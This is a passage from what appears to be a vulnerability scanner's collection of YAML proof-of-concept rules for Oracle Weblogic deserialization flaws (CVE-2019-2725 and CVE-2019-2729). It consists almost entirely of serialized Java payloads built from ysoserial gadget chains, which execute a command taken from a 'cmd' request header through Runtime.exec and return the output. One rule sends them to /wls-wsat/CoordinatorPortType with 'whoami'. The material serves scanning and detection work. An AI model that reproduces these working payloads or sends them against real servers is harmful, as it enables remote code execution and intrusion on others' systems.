97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 58 0 59 10 0 55 0 60 1 0 11 103 101 116 82 101 115 112 111 110 115 101 1 0 49 40 41 76 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 115 112 111 110 115 101 73 109 112 108 59 12 0 62 0 63 10 0 55 0 64 1 0 3 71 66 75 8 0 66 1 0 45 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 115 112 111 110 115 101 73 109 112 108 7 0 68 1 0 20 115 101 116 67 104 97 114 97 99 116 101 114 69 110 99 111 100 105 110 103 1 0 21 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 70 0 71 10 0 69 0 72 1 0 22 103 101 116 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 1 0 53 40 41 76 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 73 109 112 108 59 12 0 74 0 75 10 0 69 0 76 1 0 35 119 101 98 108 111 103 105 99 47 120 109 108 47 117 116 105 108 47 83 116 114 105 110 103 73 110 112 117 116 83 116 114 101 97 109 7 0 78 1 0 22 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 7 0 80 10 0 81 0 34 1 0 6 97 112 112 101 110 100 1 0 44 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 59 12 0 83 0 84 10 0 81 0 85 1 0 5 32 58 32 13 10 8 0 87 1 0 8 116 111 83 116 114 105 110 103 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 89 0 90 10 0 81 0 91 12 0 10 0 71 10 0 79 0 93 1 0 49 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 73 109 112 108 7 0 95 1 0 11 119 114 105 116 101 83 116 114 101 97 109 1 0 24 40 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 41 86 12 0 97 0 98 10 0 96 0 99 1 0 5 102 108 117 115 104 12 0 101 0 11 10 0 96 0 102 1 0 7 111 115 46 110 97 109 101 8 0 104 1 0 16 106 97 118 97 47 108 97 110 103 47 83 121 115 116 101 109 7 0 106 1 0 11 103 101 116 80 114 111 112 101 114 116 121 12 0 108 0 59 10 0 107 0 109 1 0 16 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 7 0 111 1 0 11 116 111 76 111 119 101 114 67 97 115 101 12 0 113 0 90 10 0 112 0 114 1 0 3 119 105 110 8 0 116 1 0 8 99 111 110 116 97 105 110 115 1 0 27 40 76 106 97 118 97 47 108 97 110 103 47 67 104 97 114 83 101 113 117 101 110 99 101 59 41 90 12 0 118 0 119 10 0 112 0 120 1 0 17 106 97 118 97 47 108 97 110 103 47 82 117 110 116 105 109 101 7 0 122 1 0 10 103 101 116 82 117 110 116 105 109 101 1 0 21 40 41 76 106 97 118 97 47 108 97 110 103 47 82 117 110 116 105 109 101 59 12 0 124 0 125 10 0 123 0 126 1 0 7 99 109 100 32 47 99 32 8 0 -128 1 0 4 101 120 101 99 1 0 39 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 80 114 111 99 101 115 115 59 12 0 -126 0 -125 10 0 123 0 -124 1 0 11 47 98 105 110 47 115 104 32 45 99 32 8 0 -122 1 0 22 106 97 118 97 47 105 111 47 66 117 102 102 101 114 101 100 82 101 97 100 101 114 7 0 -120 1 0 25 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 82 101 97 100 101 114 7 0 -118 1 0 17 106 97 118 97 47 108 97 110 103 47 80 114 111 99 101 115 115 7 0 -116 1 0 14 103 101 116 73 110 112 117 116 83 116 114 101 97 109 1 0 23 40 41 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 12 0 -114 0 -113 10 0 -115 0 -112 1 0 42 40 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 10 0 -110 10 0 -117 0 -109 1 0 19 40 76 106 97 118 97 47 105 111 47 82 101 97 100 101 114 59 41 86 12 0 10 0 -107 10 0 -119 0 -106 1 0 0 8 0 -104 1 0 8 114 101 97 100 76 105 110 101 12 0 -102 0 90 10 0 -119 0 -101 1 0 9 103 101 116 87 114 105 116 101 114 1 0 23 40 41 76 106 97 118 97 47 105 111 47 80 114 105 110 116 87 114 105 116 101 114 59 12 0 -99 0 -98 10 0 69 0 -97 1 0 19 106 97 118 97 47 105 111 47 80 114 105 110 116 87 114 105 116 101 114 7 0 -95 1 0 5 119 114 105 116 101 12 0 -93 0 71 10 0 -94 0 -92 1 0 19 106 97 118 97 47 108 97 110 103 47 69 120 99 101 112 116 105 111 110 7 0 -90 1 0 3 111 117 116 1 0 21 76 106 97 118 97 47 105 111 47 80 114 105 110 116 83 116 114 101 97 109 59 12 0 -88 0 -87 9 0 107 0 -86 1 0 19 106 97 118 97 47 108 97 110 103 47 84 104 114 111 119 97 98 108 101 7 0 -84 10 0 -83 0 91 1 0 19 106 97 118 97 47 105 111 47 80 114 105 110 116 83 116 114 101 97 109 7 0 -81 1 0 7 112 114 105 110 116 108 110 12 0 -79 0 71 10 0 -80 0 -78 1 0 15 112 114 105 110 116 83 116 97 99 107 84 114 97 99 101 12 0 -76 0 11 10 0 -83 0 -75 1 0 13 83 116 97 99 107 77 97 112 84 97 98 108 101 1 0 29 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 52 53 52 51 56 51 49 52 50 55 56 57 57 50 1 0 31 76 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 52 53 52 51 56 51 49 52 50 55 56 57 57 50 59 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 4 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 47 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 -71 0 0 0 1 0 19 0 20 0 2 0 12 0 0 0 63 0 0 0 3 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 52 0 14 0 0 0 32 0 3 0 0 0 1 0 15 0 -71 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 23 0 24 0 2 0 25 0 0 0 4 0 1 0 26 0 1 0 19 0 27 0 2 0 12 0 0 0 73 0 0 0 4 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 56 0 14 0 0 0 42 0 4 0 0 0 1 0 15 0 -71 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 28 0 29 0 2 0 0 0 1 0 30 0 31 0 3 0 25 0 0 0 4 0 1 0 26 0 8 0 41 0 11 0 1 0 12 0 0 1 114 0 7 0 11 0 0 1 18 -89 0 3 1 76 -72 0 47 -64 0 49 -74 0 53 -64 0 55 18 57 -74 0 61 77 -72 0 47 -64 0 49 -74 0 53 -64 0 55 -74 0 65 78 45 18 67 -74 0 73 45 -74 0 77 58 4 25 4 -69 0 79 89 -69 0 81 89 -73 0 82 44 -74 0 86 18 88 -74 0 86 -74 0 92 -73 0 94 -74 0 100 25 4 -74 0 103 18 105 -72 0 110 58 5 25 5 1 -91 0 16 25 5 -74 0 115 18 117 -74 0 121 -102 0 6 -89 0 33 -72 0 127 -69 0 81 89 -73 0 82 18 -127 -74 0 86 44 -74 0 86 -74 0 92 -74 0 -123 58 6 -89 0 30 -72 0 127 -69 0 81 89 -73 0 82 18 -121 -74 0 86 44 -74 0 86 -74 0 92 -74 0 -123 58 6 -69 0 -119 89 -69 0 -117 89 25 6 -74 0 -111 18 67 -73 0 -108 -73 0 -105 58 7 1 58 8 18 -103 58 9 -89 0 25 -69 0 81 89 -73 0 82 25 9 -74 0 86 25 8 -74 0 86 -74 0 92 58 9 25 7 -74 0 -100 89 58 8 1 -90 -1 -31 45 -74 0 -96 25 9 -74 0 -91 -89 0 24 58 10 -78 0 -85 25 10 -74 0 -82 -74 0 -77 25 10 -74 0 -74 -89 0 3 -79 0 1 0 94 0 -7 0 -4 0 -89 0 1 0 -73 0 0 0 70 0 9 3 -1 0 109 0 6 0 5 7 0 112 7 0 69 7 0 96 7 0 112 0 0 2 29 -4 0 26 7 0 -115 -2 0 32 7 0 -119 7 0 112 7 0 112 21 -1 0 23 0 6 0 5 7 0 112 7 0 69 7 0 96 7 0 112 0 1 7 0 -89 20 0 2 0 32 0 0 0 2 0 33 0 17 0 0 0 10 0 1 0 2 0 35 0 16 0 9 117 113 0 126 0 13 0 0 1 -44 -54 -2 -70 -66 0 0 0 50 0 27 10 0 3 0 21 7 0 23 7 0 24 7 0 25 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 113 -26 105 -18 60 109 71 24 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 3 70 111 111 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 37 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 26 1 0 35 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 1 0 16 106 97 118 97 47 108 97 110 103 47 79 98 106 101 99 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 1 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 60 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 18 0 0 0 2 0 19 0 0 0 2 0 20 0 17 0 0 0 10 0 1 0 2 0 22 0 16 0 9 112 116 0 4 80 119 110 114 112 119 1 0 120 115 125 0 0 0 1 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 120 114 0 23 106 97 118 97 46 108 97 110 103 46 114 101 102 108 101 99 116 46 80 114 111 120 121 -31 39 -38 32 -52 16 67 -53 2 0 1 76 0 1 104 116 0 37 76 106 97 118 97 47 108 97 110 103 47 114 101 102 108 101 99 116 47 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 59 120 112 115 114 0 50 115 117 110 46 114 101 102 108 101 99 116 46 97 110 110 111 116 97 116 105 111 110 46 65 110 110 111 116 97 116 105 111 110 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 85 -54 -11 15 21 -53 126 -91 2 0 2 76 0 12 109 101 109 98 101 114 86 97 108 117 101 115 116 0 15 76 106 97 118 97 47 117 116 105 108 47 77 97 112 59 76 0 4 116 121 112 101 116 0 17 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 120 112 115 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 77 97 112 5 7 -38 -63 -61 22 96 -47 3 0 2 70 0 10 108 111 97 100 70 97 99 116 111 114 73 0 9 116 104 114 101 115 104 111 108 100 120 112 63 64 0 0 0 0 0 12 119 8 0 0 0 16 0 0 0 1 116 0 8 102 53 97 53 97 54 48 56 113 0 126 0 9 120 118 114 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 0 0 0 0 0 0 0 0 0 0 0 120 112 120 follow_redirects: false expression: 'response.status == 200 && response.body.bcontains(b"whoami :")' detail: vulnpath: "/wls-wsat/CoordinatorPortType" author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166) description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData" links: - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 - https://github.com/QAX-A-Team/WeblogicEnvironment - https://xz.aliyun.com/t/5299 ================================================ FILE: WebScan/pocs/weblogic-cve-2019-2729-1.yml ================================================ name: poc-yaml-weblogic-cve-2019-2729-1 rules: - method: POST path: /wls-wsat/CoordinatorPortType headers: Content-Type: text/xml cmd: whoami body: |- xx xx oracle.toplink.internal.sessions.UnitOfWorkChangeSet -84 -19 0 5 115 114 0 23 106 97 118 97 46 117 116 105 108 46 76 105 110 107 101 100 72 97 115 104 83 101 116 -40 108 -41 90 -107 -35 42 30 2 0 0 120 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 83 101 116 -70 68 -123 -107 -106 -72 -73 52 3 0 0 120 112 119 12 0 0 0 16 63 64 0 0 0 0 0 2 115 114 0 58 99 111 109 46 115 117 110 46 111 114 103 46 97 112 97 99 104 101 46 120 97 108 97 110 46 105 110 116 101 114 110 97 108 46 120 115 108 116 99 46 116 114 97 120 46 84 101 109 112 108 97 116 101 115 73 109 112 108 9 87 79 -63 110 -84 -85 51 3 0 9 73 0 13 95 105 110 100 101 110 116 78 117 109 98 101 114 73 0 14 95 116 114 97 110 115 108 101 116 73 110 100 101 120 90 0 21 95 117 115 101 83 101 114 118 105 99 101 115 77 101 99 104 97 110 105 115 109 76 0 25 95 97 99 99 101 115 115 69 120 116 101 114 110 97 108 83 116 121 108 101 115 104 101 101 116 116 0 18 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 76 0 11 95 97 117 120 67 108 97 115 115 101 115 116 0 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 72 97 115 104 116 97 98 108 101 59 91 0 10 95 98 121 116 101 99 111 100 101 115 116 0 3 91 91 66 91 0 6 95 99 108 97 115 115 116 0 18 91 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 76 0 5 95 110 97 109 101 113 0 126 0 4 76 0 17 95 111 117 116 112 117 116 80 114 111 112 101 114 116 105 101 115 116 0 22 76 106 97 118 97 47 117 116 105 108 47 80 114 111 112 101 114 116 105 101 115 59 120 112 0 0 0 0 -1 -1 -1 -1 0 116 0 3 97 108 108 112 117 114 0 3 91 91 66 75 -3 25 21 103 103 -37 55 2 0 0 120 112 0 0 0 2 117 114 0 2 91 66 -84 -13 23 -8 6 8 84 -32 2 0 0 120 112 0 0 14 29 -54 -2 -70 -66 0 0 0 50 0 -70 10 0 3 0 34 7 0 -72 7 0 37 7 0 38 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 -83 32 -109 -13 -111 -35 -17 62 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 19 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 53 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 59 1 0 9 116 114 97 110 115 102 111 114 109 1 0 114 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 100 111 99 117 109 101 110 116 1 0 45 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 1 0 8 104 97 110 100 108 101 114 115 1 0 66 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 69 120 99 101 112 116 105 111 110 115 7 0 39 1 0 -90 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 105 116 101 114 97 116 111 114 1 0 53 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 1 0 7 104 97 110 100 108 101 114 1 0 65 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 40 1 0 51 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 64 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 65 98 115 116 114 97 99 116 84 114 97 110 115 108 101 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 57 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 84 114 97 110 115 108 101 116 69 120 99 101 112 116 105 111 110 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 1 0 8 60 99 108 105 110 105 116 62 1 0 16 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 7 0 42 1 0 13 99 117 114 114 101 110 116 84 104 114 101 97 100 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 59 12 0 44 0 45 10 0 43 0 46 1 0 27 119 101 98 108 111 103 105 99 47 119 111 114 107 47 69 120 101 99 117 116 101 84 104 114 101 97 100 7 0 48 1 0 14 103 101 116 67 117 114 114 101 110 116 87 111 114 107 1 0 29 40 41 76 119 101 98 108 111 103 105 99 47 119 111 114 107 47 87 111 114 107 65 100 97 112 116 101 114 59 12 0 50 0 51 10 0 49 0 52 1 0 44 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 113 117 101 115 116 73 109 112 108 7 0 54 1 0 3 99 109 100 8 0 56 1 0 9 103 101 116 72 101 97 100 101 114 1 0 38 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 58 0 59 10 0 55 0 60 1 0 11 103 101 116 82 101 115 112 111 110 115 101 1 0 49 40 41 76 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 115 112 111 110 115 101 73 109 112 108 59 12 0 62 0 63 10 0 55 0 64 1 0 3 71 66 75 8 0 66 1 0 45 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 115 112 111 110 115 101 73 109 112 108 7 0 68 1 0 20 115 101 116 67 104 97 114 97 99 116 101 114 69 110 99 111 100 105 110 103 1 0 21 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 70 0 71 10 0 69 0 72 1 0 22 103 101 116 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 1 0 53 40 41 76 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 73 109 112 108 59 12 0 74 0 75 10 0 69 0 76 1 0 35 119 101 98 108 111 103 105 99 47 120 109 108 47 117 116 105 108 47 83 116 114 105 110 103 73 110 112 117 116 83 116 114 101 97 109 7 0 78 1 0 22 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 7 0 80 10 0 81 0 34 1 0 6 97 112 112 101 110 100 1 0 44 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 59 12 0 83 0 84 10 0 81 0 85 1 0 5 32 58 32 13 10 8 0 87 1 0 8 116 111 83 116 114 105 110 103 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 89 0 90 10 0 81 0 91 12 0 10 0 71 10 0 79 0 93 1 0 49 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 79 117 116 112 117 116 83 116 114 101 97 109 73 109 112 108 7 0 95 1 0 11 119 114 105 116 101 83 116 114 101 97 109 1 0 24 40 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 41 86 12 0 97 0 98 10 0 96 0 99 1 0 5 102 108 117 115 104 12 0 101 0 11 10 0 96 0 102 1 0 7 111 115 46 110 97 109 101 8 0 104 1 0 16 106 97 118 97 47 108 97 110 103 47 83 121 115 116 101 109 7 0 106 1 0 11 103 101 116 80 114 111 112 101 114 116 121 12 0 108 0 59 10 0 107 0 109 1 0 16 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 7 0 111 1 0 11 116 111 76 111 119 101 114 67 97 115 101 12 0 113 0 90 10 0 112 0 114 1 0 3 119 105 110 8 0 116 1 0 8 99 111 110 116 97 105 110 115 1 0 27 40 76 106 97 118 97 47 108 97 110 103 47 67 104 97 114 83 101 113 117 101 110 99 101 59 41 90 12 0 118 0 119 10 0 112 0 120 1 0 17 106 97 118 97 47 108 97 110 103 47 82 117 110 116 105 109 101 7 0 122 1 0 10 103 101 116 82 117 110 116 105 109 101 1 0 21 40 41 76 106 97 118 97 47 108 97 110 103 47 82 117 110 116 105 109 101 59 12 0 124 0 125 10 0 123 0 126 1 0 7 99 109 100 32 47 99 32 8 0 -128 1 0 4 101 120 101 99 1 0 39 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 80 114 111 99 101 115 115 59 12 0 -126 0 -125 10 0 123 0 -124 1 0 11 47 98 105 110 47 115 104 32 45 99 32 8 0 -122 1 0 22 106 97 118 97 47 105 111 47 66 117 102 102 101 114 101 100 82 101 97 100 101 114 7 0 -120 1 0 25 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 82 101 97 100 101 114 7 0 -118 1 0 17 106 97 118 97 47 108 97 110 103 47 80 114 111 99 101 115 115 7 0 -116 1 0 14 103 101 116 73 110 112 117 116 83 116 114 101 97 109 1 0 23 40 41 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 12 0 -114 0 -113 10 0 -115 0 -112 1 0 42 40 76 106 97 118 97 47 105 111 47 73 110 112 117 116 83 116 114 101 97 109 59 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 10 0 -110 10 0 -117 0 -109 1 0 19 40 76 106 97 118 97 47 105 111 47 82 101 97 100 101 114 59 41 86 12 0 10 0 -107 10 0 -119 0 -106 1 0 0 8 0 -104 1 0 8 114 101 97 100 76 105 110 101 12 0 -102 0 90 10 0 -119 0 -101 1 0 9 103 101 116 87 114 105 116 101 114 1 0 23 40 41 76 106 97 118 97 47 105 111 47 80 114 105 110 116 87 114 105 116 101 114 59 12 0 -99 0 -98 10 0 69 0 -97 1 0 19 106 97 118 97 47 105 111 47 80 114 105 110 116 87 114 105 116 101 114 7 0 -95 1 0 5 119 114 105 116 101 12 0 -93 0 71 10 0 -94 0 -92 1 0 19 106 97 118 97 47 108 97 110 103 47 69 120 99 101 112 116 105 111 110 7 0 -90 1 0 3 111 117 116 1 0 21 76 106 97 118 97 47 105 111 47 80 114 105 110 116 83 116 114 101 97 109 59 12 0 -88 0 -87 9 0 107 0 -86 1 0 19 106 97 118 97 47 108 97 110 103 47 84 104 114 111 119 97 98 108 101 7 0 -84 10 0 -83 0 91 1 0 19 106 97 118 97 47 105 111 47 80 114 105 110 116 83 116 114 101 97 109 7 0 -81 1 0 7 112 114 105 110 116 108 110 12 0 -79 0 71 10 0 -80 0 -78 1 0 15 112 114 105 110 116 83 116 97 99 107 84 114 97 99 101 12 0 -76 0 11 10 0 -83 0 -75 1 0 13 83 116 97 99 107 77 97 112 84 97 98 108 101 1 0 29 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 52 53 52 51 56 51 49 52 50 55 56 57 57 50 1 0 31 76 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 52 53 52 51 56 51 49 52 50 55 56 57 57 50 59 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 4 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 47 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 -71 0 0 0 1 0 19 0 20 0 2 0 12 0 0 0 63 0 0 0 3 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 52 0 14 0 0 0 32 0 3 0 0 0 1 0 15 0 -71 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 23 0 24 0 2 0 25 0 0 0 4 0 1 0 26 0 1 0 19 0 27 0 2 0 12 0 0 0 73 0 0 0 4 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 56 0 14 0 0 0 42 0 4 0 0 0 1 0 15 0 -71 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 28 0 29 0 2 0 0 0 1 0 30 0 31 0 3 0 25 0 0 0 4 0 1 0 26 0 8 0 41 0 11 0 1 0 12 0 0 1 114 0 7 0 11 0 0 1 18 -89 0 3 1 76 -72 0 47 -64 0 49 -74 0 53 -64 0 55 18 57 -74 0 61 77 -72 0 47 -64 0 49 -74 0 53 -64 0 55 -74 0 65 78 45 18 67 -74 0 73 45 -74 0 77 58 4 25 4 -69 0 79 89 -69 0 81 89 -73 0 82 44 -74 0 86 18 88 -74 0 86 -74 0 92 -73 0 94 -74 0 100 25 4 -74 0 103 18 105 -72 0 110 58 5 25 5 1 -91 0 16 25 5 -74 0 115 18 117 -74 0 121 -102 0 6 -89 0 33 -72 0 127 -69 0 81 89 -73 0 82 18 -127 -74 0 86 44 -74 0 86 -74 0 92 -74 0 -123 58 6 -89 0 30 -72 0 127 -69 0 81 89 -73 0 82 18 -121 -74 0 86 44 -74 0 86 -74 0 92 -74 0 -123 58 6 -69 0 -119 89 -69 0 -117 89 25 6 -74 0 -111 18 67 -73 0 -108 -73 0 -105 58 7 1 58 8 18 -103 58 9 -89 0 25 -69 0 81 89 -73 0 82 25 9 -74 0 86 25 8 -74 0 86 -74 0 92 58 9 25 7 -74 0 -100 89 58 8 1 -90 -1 -31 45 -74 0 -96 25 9 -74 0 -91 -89 0 24 58 10 -78 0 -85 25 10 -74 0 -82 -74 0 -77 25 10 -74 0 -74 -89 0 3 -79 0 1 0 94 0 -7 